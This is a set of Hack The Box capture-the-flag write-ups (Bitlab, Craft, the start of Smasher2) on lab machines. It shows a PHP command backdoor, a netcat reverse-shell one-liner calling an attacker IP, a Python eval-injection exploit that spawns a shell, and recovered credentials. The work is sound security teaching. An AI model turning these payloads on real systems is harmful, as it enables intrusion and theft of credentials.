| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://bitlab.htb/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.56 seconds
[email protected]:~/Desktop/HTB/boxes/bitlab#

We got http on port 80 and ssh on port 22, robots.txt existed on the web server and it had a lot of entries.

Web Enumeration

Gitlab was running on the web server and we need credentials:

I checked /robots.txt to see if there was anything interesting:

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[email protected]:~/Desktop/HTB/boxes/bitlab# curl http://bitlab.htb/robots.txt                                                                                                                                                             [18/43]
# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
#
# To ban all spiders from the entire site uncomment the next two lines:
# User-Agent: *
# Disallow: /

# Add a 1 second delay between successive requests to the same server, limits resources used by crawler
# Only some crawlers respect this setting, e.g. Googlebot does not
# Crawl-delay: 1

# Based on details in https://gitlab.com/gitlab-org/gitlab-ce/blob/master/config/routes.rb, https://gitlab.com/gitlab-org/gitlab-ce/blob/master/spec/routing, and using application
User-Agent: *
Disallow: /autocomplete/users
Disallow: /search
Disallow: /api
Disallow: /admin
Disallow: /profile
Disallow: /dashboard
Disallow: /projects/new
Disallow: /groups/new
Disallow: /groups/*/edit
Disallow: /users
Disallow: /help
# Only specifically allow the Sign In page to avoid very ugly search results
Allow: /users/sign_in

# Global snippets
User-Agent: *
Disallow: /s/
Disallow: /snippets/new
Disallow: /snippets/*/edit
Disallow: /snippets/*/raw

# Project details
User-Agent: *
Disallow: /*/*.git
Disallow: /*/*/fork/new
Disallow: /*/*/repository/archive*
Disallow: /*/*/activity
Disallow: /*/*/new
Disallow: /*/*/edit
Disallow: /*/*/raw
Disallow: /*/*/blame
Disallow: /*/*/commits/*/*
Disallow: /*/*/commit/*.patch
Disallow: /*/*/commit/*.diff
Disallow: /*/*/compare
Disallow: /*/*/branches/new
Disallow: /*/*/tags/new
Disallow: /*/*/network
Disallow: /*/*/graphs
Disallow: /*/*/milestones/new
Disallow: /*/*/milestones/*/edit
Disallow: /*/*/issues/new
Disallow: /*/*/issues/*/edit
Disallow: /*/*/merge_requests/new
Disallow: /*/*/merge_requests/*.patch
Disallow: /*/*/merge_requests/*.diff
Disallow: /*/*/merge_requests/*/edit
Disallow: /*/*/merge_requests/*/diffs
Disallow: /*/*/project_members/import
Disallow: /*/*/labels/new
Disallow: /*/*/labels/*/edit
Disallow: /*/*/wikis/*/edit
Disallow: /*/*/snippets/new
Disallow: /*/*/snippets/*/edit
Disallow: /*/*/snippets/*/raw
Disallow: /*/*/deploy_keys
Disallow: /*/*/hooks
Disallow: /*/*/services
Disallow: /*/*/protected_branches
Disallow: /*/*/uploads/
Disallow: /*/-/group_members
Disallow: /*/project_members
[email protected]:~/Desktop/HTB/boxes/bitlab#

Most of the disallowed entries were paths related to the Gitlab application. I checked /help and found a page called bookmarks.html:

There was an interesting link called Gitlab Login:

Clicking on that link didn’t result in anything, so I checked the source of the page, the href attribute had some javascript code:

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<DT><A HREF="javascript:(function(){ var _0x4b18=[&quot;\x76\x61\x6C\x75\x65&quot;,&quot;\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E&quot;,&quot;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&quot;,&quot;\x63\x6C\x61\x76\x65&quot;,&quot;\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64&quot;,&quot;\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78&quot;];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()" ADD_DATE="1554932142">Gitlab Login</A>

I took that code, edited it a little bit and used the js console to execute it:

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[email protected]:~/Desktop/HTB/boxes/bitlab# js
> var _0x4b18=['\x76\x61\x6C\x75\x65','\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E','\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64','\x63\x6C\x61\x76\x65','\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64','\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78'];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5];
Thrown:
ReferenceError: document is not defined
>

Then I printed the variable _0x4b18 which had the credentials for Gitlab:

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> _0x4b18
[ 'value',
'user_login',
'getElementById',
'clave',
'user_password',
'11des0081x' ]
>

File Upload –> RCE –> Shell as www-data

After logging in with the credentials (clave : 11des0081x) I found two repositories, Profile and Deployer:


I also checked the snippets and I found an interesting code snippet that had the database credentials which will be useful later:

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<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");

Back to the repositories, I checked Profile and it was pretty empty:

The path /profile was one of the disallowed entries in /robots.txt, I wanted to check if that path was related to the repository, so I checked if the same image (developer.jpg) existed, and it did:


Now we can simply upload a php shell and access it through /profile, I uploaded the php-simple-backdoor:

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<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}

?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!-- http://michaeldaw.org 2006 -->


Then I merged it to the master branch:


I used the netcat openbsd reverse shell payload from PayloadsAllTheThings to get a shell, had to urlencode it first:

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rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff
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[email protected]:~/Desktop/HTB/boxes/bitlab# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.114] 44340
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
[email protected]:/var/www/html/profile$ ^Z
[1]+ Stopped nc -lvnp 1337
[email protected]:~/Desktop/HTB/boxes/bitlab# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/bitlab# nc -lvnp 1337

[email protected]:/var/www/html/profile$ export TERM=screen
[email protected]:/var/www/html/profile$

Database Access –> Clave’s Password –> SSH as Clave –> User Flag

After getting a shell as www-data I wanted to use the credentials I got earlier from the code snippet and see what was in the database, however psql wasn’t installed:

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[email protected]:/var/www/html/profile$ psql
bash: psql: command not found
[email protected]:/var/www/html/profile$

So I had to do it with php:

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[email protected]:/var/www/html/profile$ php -a
Interactive mode enabled

php > $connection = new PDO('pgsql:host=localhost;dbname=profiles', 'profiles', 'profiles');

I executed the same query from the code snippet which queried everything from the table profiles, and I got clave’s password which I could use to get ssh access:

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php > $result = $connection->query("SELECT * FROM profiles");
php > $profiles = $result->fetchAll();
php > print_r($profiles);
Array
(
[0] => Array
(
[id] => 1
[0] => 1
[username] => clave
[1] => clave
[password] => c3NoLXN0cjBuZy1wQHNz==
[2] => c3NoLXN0cjBuZy1wQHNz==
)

)
php >


We owned user.

Reversing RemoteConnection.exe –> Root’s Password –> SSH as Root –> Root Flag

In the home directory of clave there was a Windows executable called RemoteConnection.exe:

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[email protected]:~$ ls -la
total 44
drwxr-xr-x 4 clave clave 4096 Aug 8 14:40 .
drwxr-xr-x 3 root root 4096 Feb 28 2019 ..
lrwxrwxrwx 1 root root 9 Feb 28 2019 .bash_history -> /dev/null
-rw-r--r-- 1 clave clave 3771 Feb 28 2019 .bashrc
drwx------ 2 clave clave 4096 Aug 8 14:40 .cache
drwx------ 3 clave clave 4096 Aug 8 14:40 .gnupg
-rw-r--r-- 1 clave clave 807 Feb 28 2019 .profile
-r-------- 1 clave clave 13824 Jul 30 19:58 RemoteConnection.exe
-r-------- 1 clave clave 33 Feb 28 2019 user.txt
[email protected]:~$

I downloaded it on my box:

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[email protected]:~/Desktop/HTB/boxes/bitlab# scp [email protected]:/home/clave/RemoteConnection.exe ./
[email protected]'s password:
RemoteConnection.exe 100% 14KB 16.5KB/s 00:00
[email protected]:~/Desktop/HTB/boxes/bitlab#

Then I started looking at the code decompilation with Ghidra. One function that caught my attention was FUN_00401520():

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/* WARNING: Could not reconcile some variable overlaps */

void FUN_00401520(void)

{
LPCWSTR pWVar1;
undefined4 ***pppuVar2;
LPCWSTR lpParameters;
undefined4 ***pppuVar3;
int **in_FS_OFFSET;
uint in_stack_ffffff44;
undefined4 *puVar4;
uint uStack132;
undefined *local_74;
undefined *local_70;
wchar_t *local_6c;
void *local_68 [4];
undefined4 local_58;
uint local_54;
void *local_4c [4];
undefined4 local_3c;
uint local_38;
undefined4 ***local_30 [4];
int local_20;
uint local_1c;
uint local_14;
int *local_10;
undefined *puStack12;
undefined4 local_8;

local_8 = 0xffffffff;
puStack12 = &LAB_004028e0;
local_10 = *in_FS_OFFSET;
uStack132 = DAT_00404018 ^ (uint)&stack0xfffffffc;
*(int ***)in_FS_OFFSET = &local_10;
local_6c = (wchar_t *)0x4;
local_14 = uStack132;
GetUserNameW((LPWSTR)0x4,(LPDWORD)&local_6c);
local_38 = 0xf;
local_3c = 0;
local_4c[0] = (void *)((uint)local_4c[0] & 0xffffff00);
FUN_004018f0();
local_8 = 0;
FUN_00401260(local_68,local_4c);
local_74 = &stack0xffffff60;
local_8._0_1_ = 1;
FUN_004018f0();
local_70 = &stack0xffffff44;
local_8._0_1_ = 2;
puVar4 = (undefined4 *)(in_stack_ffffff44 & 0xffffff00);
FUN_00401710(local_68);
local_8._0_1_ = 1;
FUN_00401040(puVar4);
local_8 = CONCAT31(local_8._1_3_,3);
lpParameters = (LPCWSTR)FUN_00401e6d();
pppuVar3 = local_30[0];
if (local_1c < 0x10) {
pppuVar3 = local_30;
}
pWVar1 = lpParameters;
pppuVar2 = local_30[0];
if (local_1c < 0x10) {
pppuVar2 = local_30;
}
while (pppuVar2 != (undefined4 ***)(local_20 + (int)pppuVar3)) {
*pWVar1 = (short)*(char *)pppuVar2;
pWVar1 = pWVar1 + 1;
pppuVar2 = (undefined4 ***)((int)pppuVar2 + 1);
}
lpParameters[local_20] = L'\0';
if (local_6c == L"clave") {
ShellExecuteW((HWND)0x0,L"open",L"C:\\Program Files\\PuTTY\\putty.exe",lpParameters,(LPCWSTR)0x0
,10);
}
else {
FUN_00401c20((int *)cout_exref);
}
if (0xf < local_1c) {
operator_delete(local_30[0]);
}
local_1c = 0xf;
local_20 = 0;
local_30[0] = (undefined4 ***)((uint)local_30[0] & 0xffffff00);
if (0xf < local_54) {
operator_delete(local_68[0]);
}
local_54 = 0xf;
local_58 = 0;
local_68[0] = (void *)((uint)local_68[0] & 0xffffff00);
if (0xf < local_38) {
operator_delete(local_4c[0]);
}
*in_FS_OFFSET = local_10;
FUN_00401e78();
return;
}

It looked like it was checking if the name of the user running the program was clave, then It executed PuTTY with some parameters that I couldn’t see:

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if (local_6c == L"clave") {
ShellExecuteW((HWND)0x0,L"open",L"C:\\Program Files\\PuTTY\\putty.exe",lpParameters,(LPCWSTR)0x0
,10);
}

This is how the same part looked like in IDA:

I copied the executable to a Windows machine and I tried to run it, however it just kept crashing.
I opened it in immunity debugger to find out what was happening, and I found an access violation:

It happened before reaching the function I’m interested in so I had to fix it. What I did was simply replacing the instructions that caused that access violation with NOPs.
I had to set a breakpoint before the cmp instruction, so I searched for the word “clave” in the referenced text strings and I followed it in the disassembler:


Then I executed the program and whenever I hit an access violation I replaced the instructions with NOPs, it happened twice then I reached my breakpoint:

After reaching the breakpoint I could see the parameters that the program gives to putty.exe in both eax and ebx, It was starting an ssh session as root and I could see the password:

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EAX 00993E80 UNICODE "-ssh [email protected] -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""
EBX 00993DA0 ASCII "-ssh [email protected] -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""


And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Craft
Next Hack The Box write-up : Hack The Box - Player

Hack The Box - Craft

4 January 2020 at 03:00

Hack The Box - Craft

Quick Summary

Hey guys, today Craft retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is 10.10.10.110, I added it to /etc/hosts as craft.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

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[email protected]:~/Desktop/HTB/boxes/craft# nmap -sV -sT -sC -o nmapinitial craft.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-03 13:41 EST
Nmap scan report for craft.htb (10.10.10.110)
Host is up (0.22s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after: 2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.97 seconds
[email protected]:~/Desktop/HTB/boxes/craft#

We got https on port 443 and ssh on port 22.

Web Enumeration

The home page was kinda empty, Only the about info and nothing else:

The navigation bar had two external links, one of them was to https://api.craft.htb/api/ and the other one was to https://gogs.craft.htb:

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<ul class="nav navbar-nav pull-right">
<li><a href="https://api.craft.htb/api/">API</a></li>
<li><a href="https://gogs.craft.htb/"><img border="0" alt="Git" src="/static/img/Git-Icon-Black.png" width="20" height="20"></a></li>
</ul>

So I added both of api.craft.htb and gogs.craft.htb to /etc/hosts then I started checking them.
https://api.craft.htb/api:

Here we can see the API endpoints and how to interact with them.
We’re interested in the authentication part for now, there are two endpoints, /auth/check which checks the validity of an authorization token and /auth/login which creates an authorization token provided valid credentials.


We don’t have credentials to authenticate so let’s keep enumerating.
Obviously gogs.craft.htb had gogs running:

The repository of the API source code was publicly accessible so I took a look at the code and the commits.


Dinesh’s commits c414b16057 and 10e3ba4f0a had some interesting stuff. First one had some code additions to /brew/endpoints/brew.py where user’s input is being passed to eval() without filtering:

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@@ -38,9 +38,13 @@ class BrewCollection(Resource):
"""
Creates a new brew entry.
"""
-
- create_brew(request.json)
- return None, 201
+
+ # make sure the ABV value is sane.
+ if eval('%s > 1' % request.json['abv']):
+ return "ABV must be a decimal value less than 1.0", 400
+ else:
+ create_brew(request.json)
+ return None, 201
@ns.route('/<int:id>')
@api.response(404, 'Brew not found.')

I took a look at the API documentation again to find in which request I can send the abv parameter:

As you can see we can send a POST request to /brew and inject our payload in the parameter abv, However we still need an authorization token to be able to interact with /brew, and we don’t have any credentials.
The other commit was a test script which had hardcoded credentials, exactly what we need:

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+response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
+json_response = json.loads(response.text)
+token = json_response['token']
+
+headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
+
+# make sure token is valid
+response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
+print(response.text)
+

I tested the credentials and they were valid:

RCE –> Shell on Docker Container

I wrote a small script to authenticate, grab the token, exploit the vulnerability and spawn a shell.
exploit.py:

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#!/usr/bin/python3 
import requests
import json
from subprocess import Popen
from sys import argv
from os import system

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

GREEN = "\033[32m"
YELLOW = "\033[93m"

def get_token():
req = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
response = req.json()
token = response['token']
return token

def exploit(token, ip, port):
tmp = {}

tmp['id'] = 0
tmp['name'] = "pwned"
tmp['brewer'] = "pwned"
tmp['style'] = "pwned"
tmp['abv'] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f')".format(ip,port)

payload = json.dumps(tmp)

print(YELLOW + "[+] Starting listener on port {}".format(port))
Popen(["nc","-lvnp",port])

print(YELLOW + "[+] Sending payload")
requests.post('https://api.craft.htb/api/brew/', headers={'X-Craft-API-Token': token, 'Content-Type': 'application/json'}, data=payload, verify=False)

if len(argv) != 3:
print(YELLOW + "[!] Usage: {} [IP] [PORT]".format(argv[0]))
exit()

ip = argv[1]
port = argv[2]
print(YELLOW + "[+] Authenticating")
token = get_token()
print(GREEN + "[*] Token: {}".format(token))
exploit(token, ip, port)


Turns out that the application was hosted on a docker container and I didn’t get a shell on the actual host.

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/opt/app # cd /
/ # ls -la
total 64
drwxr-xr-x 1 root root 4096 Feb 10 2019 .
drwxr-xr-x 1 root root 4096 Feb 10 2019 ..
-rwxr-xr-x 1 root root 0 Feb 10 2019 .dockerenv
drwxr-xr-x 1 root root 4096 Jan 3 17:20 bin
drwxr-xr-x 5 root root 340 Jan 3 14:58 dev
drwxr-xr-x 1 root root 4096 Feb 10 2019 etc
drwxr-xr-x 2 root root 4096 Jan 30 2019 home
drwxr-xr-x 1 root root 4096 Feb 6 2019 lib
drwxr-xr-x 5 root root 4096 Jan 30 2019 media
drwxr-xr-x 2 root root 4096 Jan 30 2019 mnt
drwxr-xr-x 1 root root 4096 Feb 9 2019 opt
dr-xr-xr-x 238 root root 0 Jan 3 14:58 proc
drwx------ 1 root root 4096 Jan 3 15:16 root
drwxr-xr-x 2 root root 4096 Jan 30 2019 run
drwxr-xr-x 2 root root 4096 Jan 30 2019 sbin
drwxr-xr-x 2 root root 4096 Jan 30 2019 srv
dr-xr-xr-x 13 root root 0 Jan 3 14:58 sys
drwxrwxrwt 1 root root 4096 Jan 3 17:26 tmp
drwxr-xr-x 1 root root 4096 Feb 9 2019 usr
drwxr-xr-x 1 root root 4096 Jan 30 2019 var
/ #

Gilfoyle’s Gogs Credentials –> SSH Key –> SSH as Gilfoyle –> User Flag

In /opt/app there was a python script called dbtest.py, It connects to the database and executes a SQL query:

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/opt/app # ls -la
total 44
drwxr-xr-x 5 root root 4096 Jan 3 17:28 .
drwxr-xr-x 1 root root 4096 Feb 9 2019 ..
drwxr-xr-x 8 root root 4096 Feb 8 2019 .git
-rw-r--r-- 1 root root 18 Feb 7 2019 .gitignore
-rw-r--r-- 1 root root 1585 Feb 7 2019 app.py
drwxr-xr-x 5 root root 4096 Feb 7 2019 craft_api
-rwxr-xr-x 1 root root 673 Feb 8 2019 dbtest.py
drwxr-xr-x 2 root root 4096 Feb 7 2019 tests
/opt/app # cat dbtest.py
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)

try:
with connection.cursor() as cursor:
sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
cursor.execute(sql)
result = cursor.fetchone()
print(result)

finally:
connection.close()
/opt/app #

I copied the script and changed result = cursor.fetchone() to result = cursor.fetchall() and I changed the query to SHOW TABLES:

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#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)

try:
with connection.cursor() as cursor:
sql = "SHOW TABLES"
cursor.execute(sql)
result = cursor.fetchall()
print(result)

finally:
connection.close()

There were two tables, user and brew:

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/opt/app # wget http://10.10.xx.xx/db1.py
Connecting to 10.10.xx.xx (10.10.xx.xx:80)
db1.py 100% |********************************| 629 0:00:00 ETA

/opt/app # python db1.py
[{'Tables_in_craft': 'brew'}, {'Tables_in_craft': 'user'}]
/opt/app # rm db1.py
/opt/app #

I changed the query to SELECT * FROM user:

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#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)

try:
with connection.cursor() as cursor:
sql = "SELECT * FROM user"
cursor.execute(sql)
result = cursor.fetchall()
print(result)

finally:
connection.close()

The table had all users credentials stored in plain text:

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/opt/app # wget http://10.10.xx.xx/db2.py
Connecting to 10.10.xx.xx (10.10.xx.xx:80)
db2.py 100% |********************************| 636 0:00:00 ETA

/opt/app # python db2.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
/opt/app # rm db2.py
/opt/app #

Gilfoyle had a private repository called craft-infra:


He left his private ssh key in the repository:


When I tried to use the key it asked for password as it was encrypted, I tried his gogs password (ZEU3N8WNM2rh4T) and it worked:

We owned user.

Vault –> One-Time SSH Password –> SSH as root –> Root Flag

In Gilfoyle’s home directory there was a file called .vault-token:

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[email protected]:~$ ls -la
total 44
drwx------ 5 gilfoyle gilfoyle 4096 Jan 3 13:42 .
drwxr-xr-x 3 root root 4096 Feb 9 2019 ..
-rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc
drwx------ 3 gilfoyle gilfoyle 4096 Feb 9 2019 .config
drwx------ 2 gilfoyle gilfoyle 4096 Jan 3 13:31 .gnupg
-rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile
drwx------ 2 gilfoyle gilfoyle 4096 Feb 9 2019 .ssh
-r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt
-rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token
-rw------- 1 gilfoyle gilfoyle 5091 Jan 3 13:28 .viminfo
[email protected]:~$ cat .vault-token
[email protected]:~$

A quick search revealed that it’s related to vault.

Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API. -vaultproject.io

By looking at vault.sh from craft-infra repository (vault/vault.sh), we’ll see that it enables the ssh secrets engine then creates an otp role for root:

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#!/bin/bash

# set up vault secrets backend

vault secrets enable ssh

vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0

We have the token (.vault-token) so we can easily authenticate to the vault and create an otp for a root ssh session:

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[email protected]:~$ vault login
Token (will be hidden):
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key Value
--- -----
token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
token_accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103
token_duration ∞
token_renewable false
token_policies ["root"]
identity_policies []
policies ["root"]
[email protected]:~$ vault write ssh/creds/root_otp ip=127.0.0.1
Key Value
--- -----
lease_id ssh/creds/root_otp/f17d03b6-552a-a90a-02b8-0932aaa20198
lease_duration 768h
lease_renewable false
ip 127.0.0.1
key c495f06b-daac-8a95-b7aa-c55618b037ee
key_type otp
port 22
username root
[email protected]:~$

And finally we’ll ssh into localhost and use the generated password (c495f06b-daac-8a95-b7aa-c55618b037ee):

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[email protected]:~$ ssh [email protected]


. * .. . * *
* * @()Ooc()* o .
([email protected]*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/



Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
[email protected]:~#


And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Smasher2
Next Hack The Box write-up : Hack The Box - Bitlab

Hack The Box - Smasher2

14 December 2019 at 03:00

Hack The Box - Smasher2

Quick Summary

Hey guys, today smasher2 retired and here’s my write-up about it. Smasher2 was an interesting box and one of the hardest I have ever solved. Starting with a web application vulnerable to authentication bypass and RCE combined with a WAF bypass, then a kernel module with an insecure mmap handler implementation allowing users to access kernel memory. I enjoyed the box and learned a lot from it. It’s a Linux box and its ip is 10.10.10.135, I added it to /etc/hosts as smasher2.htb. Let’s jump right in!

Nmap

As always we will start with nmap to scan for open ports and services:

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[email protected]:~/Desktop/HTB/boxes/smasher2# nmap -sV -sT -sC -o nmapinitial smasher2.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-13 07:32 EST
Nmap scan report for smasher2.htb (10.10.10.135)
Host is up (0.18s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 23:a3:55:a8:c6:cc:74:cc:4d:c7:2c:f8:fc:20:4e:5a (RSA)
| 256 16:21:ba:ce:8c:85:62:04:2e:8c:79:fa:0e:ea:9d:33 (ECDSA)
|_ 256 00:97:93:b8:59:b5:0f:79:52:e1:8a:f1:4f:ba:ac:b4 (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.3 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.3-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.74 seconds
[email protected]:~/Desktop/HTB/boxes/smasher2#

We got ssh on port 22, dns on port 53 and http on port 80.

DNS

First thing I did was to enumerate vhosts through the dns server and I got 1 result:

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[email protected]:~/Desktop/HTB/boxes/smasher2# dig axfr smasher2.htb @10.10.10.135

; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> axfr smasher2.htb @10.10.10.135
;; global options: +cmd
smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
smasher2.htb. 604800 IN NS smasher2.htb.
smasher2.htb. 604800 IN A 127.0.0.1
smasher2.htb. 604800 IN AAAA ::1
smasher2.htb. 604800 IN PTR wonderfulsessionmanager.smasher2.htb.
smasher2.htb. 604800 IN SOA smasher2.htb. root.smasher2.htb. 41 604800 86400 2419200 604800
;; Query time: 299 msec
;; SERVER: 10.10.10.135#53(10.10.10.135)
;; WHEN: Fri Dec 13 07:36:43 EST 2019
;; XFR size: 6 records (messages 1, bytes 242)

[email protected]:~/Desktop/HTB/boxes/smasher2#

wonderfulsessionmanager.smasher2.htb, I added it to my hosts file.

Web Enumeration

http://smasher2.htb had the default Apache index page:

http://wonderfulsessionmanager.smasher2.htb:

The only interesting here was the login page:

I kept testing it for a while and the responses were like this one:


It didn’t request any new pages so I suspected that it’s doing an AJAX request, I intercepted the login request to find out the endpoint it was requesting:

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POST /auth HTTP/1.1
Host: wonderfulsessionmanager.smasher2.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://wonderfulsessionmanager.smasher2.htb/login
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 80
Connection: close
Cookie: session=eyJpZCI6eyIgYiI6Ik16UXpNakpoTVRVeVlqaGlNekJsWVdSbU9HTXlPV1kzTmprMk1XSTROV00xWkdVME5HTmxNQT09In19.XfNxUQ.MznJKgs2isklCZxfV4G0IjEPcvg

{"action":"auth","data":{"username":"test","password":"test"}}

While browsing http://wonderfulsessionmanager.smasher2.htb I had gobuster running in the background on http://smasher2.htb/:

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[email protected]:~/Desktop/HTB/boxes/smasher2# gobuster dir -u http://smasher2.htb/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://smasher2.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
